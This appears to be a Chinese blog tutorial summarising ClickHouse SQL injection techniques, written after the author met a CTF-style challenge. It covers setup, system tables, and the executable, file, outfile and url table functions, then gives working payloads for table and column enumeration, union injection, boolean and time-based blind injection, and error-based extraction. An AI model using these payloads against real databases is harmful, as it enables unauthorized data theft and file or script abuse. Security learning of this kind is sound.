clickhouse注入手法总结

clickhouse

遇到一题clickhouse注入相关的,没有见过,于是来学习clickhouse的使用,并总结相关注入手法。

环境搭建

直接在docker运行

docker pull clickhouse/clickhouse-server

docker run -d --name some-clickhouse-server --ulimit nofile=262144:262144 clickhouse/clickhouse-server

基础 sql 语句

列出数据库

show databases;

列出表

show tables;

查看表结构

desc system.databases;

select name,database,data_path from system.databases;

建表语句

CREATE DATABASE IF NOT EXISTS helloworld;

CREATE TABLE helloworld.my_first_table

(

user_id UInt32,

message String,

timestamp DateTime,

metric Float32

)

ENGINE = MergeTree()

PRIMARY KEY (user_id, timestamp)

插入数据

INSERT INTO helloworld.my_first_table (user_id, message, timestamp, metric) VALUES

(101, 'Hello, ClickHouse!', now(), -1.0 ),

(102, 'Insert a lot of rows per batch', yesterday(), 1.41421 ),

(102, 'Sort your data based on your commonly-used queries', today(), 2.718 ),

(101, 'Granules are the smallest chunks of data read', now() + 5, 3.14159 )

system 数据库

这个数据库存储了数据库信息、表信息、字段信息

select name,table,database from system.tables where database=database();

select name,table from system.columns where table='my_first_table';

infomation_schema 数据库

这个数据库也是存储了数据库、表、字段信息

查表

查列

常规函数

常规函数就是产生一个值的函数

字符串拼接

concatWithSeparator(sep, expr1, expr2, expr3...);

字符串切割

select substring('abcdef',2,3);

字符串比较

select startsWith(str, prefix)

select endsWith(str, suffix)

编码

select ascii('a')

select char(97)

select base64Encode('clickhouse')

select base64Decode('Y2xpY2tob3VzZQ==')

sleep

当sleep参数大于3时,不运行,直接报错

聚合函数

字段拼接

select groupArray(message) from my_first_table

groupArray的返回结果是数组,不能直接与字符串类型进行union操作

select groupArray(message) from my_first_table union all select '123';

得先把数组转换成字符串,才能进行union

select arrayStringConcat(groupArray(message),',') from my_first_table;

表函数

表函数就是接在from后面的,返回的结果作为一张表,能够被查询

执行脚本文件

在/var/lib/clickhouse/user_scripts/这个目录下创建脚本文件:

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| python #!/usr/bin/python3 import sys import string import random def main(): # Read input value for number in sys.stdin: i = int(number) # Generate some random rows for id in range(0, i): letters = string.ascii_letters random_string = ''.join(random.choices(letters ,k=10)) print(str(id) + '\t' + random_string + '\n', end='') # Flush results to stdout sys.stdout.flush() if name == "main": main() |

执行sql语句:SELECT * FROM executable('1.py', TabSeparated, 'id UInt32, random String', (SELECT 10))

其中TabSeparated表示脚本文件的输出每行以\t符号分隔,用于解析结果,可以换成TSV

如果脚本文件的输出以逗号结尾,那么就写CSV

最后一个参数要传入一个query语句,结果会被传入脚本文件的标准输入

用什么解释器执行脚本,取决于文件开头的注释#!/

当尝试跨目录执行文件时,报错:

文件读取

按照一定的格式读取文件,要求文件的路径在user_files下

语法:

|-------------------------------------------------------------------------------|
| file([path_to_archive ::] path [,format] [,structure] [,compression]) |

例如文件内容为:

|------------------------|
| java 1,2,3 3,2,1 1,3,2 |

查询sql语句:SELECT * FROM file('1.txt', 'CSV', 'column1 UInt32, column2 UInt32, column3 UInt32');

写文件

没有别的限制,任意位置都可写

select 1,2,3 union all select 123,4556,789 into outfile '/tmp/1.txt';

发起网络请求

SELECT * FROM url('http://127.0.0.1:12345/', CSV, 'column1 String, column2 UInt32', headers('Accept'='text/csv; charset=utf-8'));

其他

除了上述表函数,还能够发起mysql连接,jdbc连接,redis连接,详细可以查阅文档。总之功能十分多样

注入手法

获取表名:

select arrayStringConcat(groupArray(name),',') from system.tables where database=database()

select arrayStringConcat(groupArray(table),',') from system.tables where database=database()

select arrayStringConcat(groupArray(table_schema),',') from information_schema.tables where table_schema=database()

获取列名

select arrayStringConcat(groupArray(name),',') from system.columns where table='your_table'

select arrayStringConcat(groupArray(column_name),',') from information_schema.tables where table_name='your_table'

联合注入

要点:

  1. 不能写union select,应该写union all select 或者union distinct select

  2. 两个查询对应的列的数据类型要相同

布尔盲注

和mysql差不多,就是注意一下有哪些函数可以互相平替的,比如字符串截取,编码等函数,方便绕过对特定函数的过滤。

ascii(substr('xxx',0,1))=97

if(ascii(substr('xxx',0,1)) = 97,0,1)

时间盲注

if(ascii(substr('xxx',0,1)) = 97,0,sleep(1))

可以执行其他耗时的查询代替sleep:

报错注入

select 1 where 1=CAST((select database()) as UInt32)

相关推荐
九河云1 小时前
数字化转型中的网络安全风险与零信任架构实践
运维·科技·安全·web安全·架构
Elastic 中国社区官方博客3 小时前
在 Elasticsearch 中使用 Mistral Chat completions 进行上下文工程
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
编程爱好者熊浪5 小时前
两次连接池泄露的BUG
java·数据库
TDengine (老段)6 小时前
TDengine 字符串函数 CHAR 用户手册
java·大数据·数据库·物联网·时序数据库·tdengine·涛思数据
qq7422349847 小时前
Python操作数据库之pyodbc
开发语言·数据库·python
姚远Oracle ACE7 小时前
Oracle 如何计算 AWR 报告中的 Sessions 数量
数据库·oracle
Dxy12393102167 小时前
MySQL的SUBSTRING函数详解与应用
数据库·mysql
码力引擎8 小时前
【零基础学MySQL】第十二章:DCL详解
数据库·mysql·1024程序员节
是Yu欸8 小时前
【博资考5】网安2025
网络·人工智能·经验分享·笔记·网络安全·ai·博资考
杨云龙UP8 小时前
【MySQL迁移】MySQL数据库迁移实战(利用mysqldump从Windows 5.7迁至Linux 8.0)
linux·运维·数据库·mysql·mssql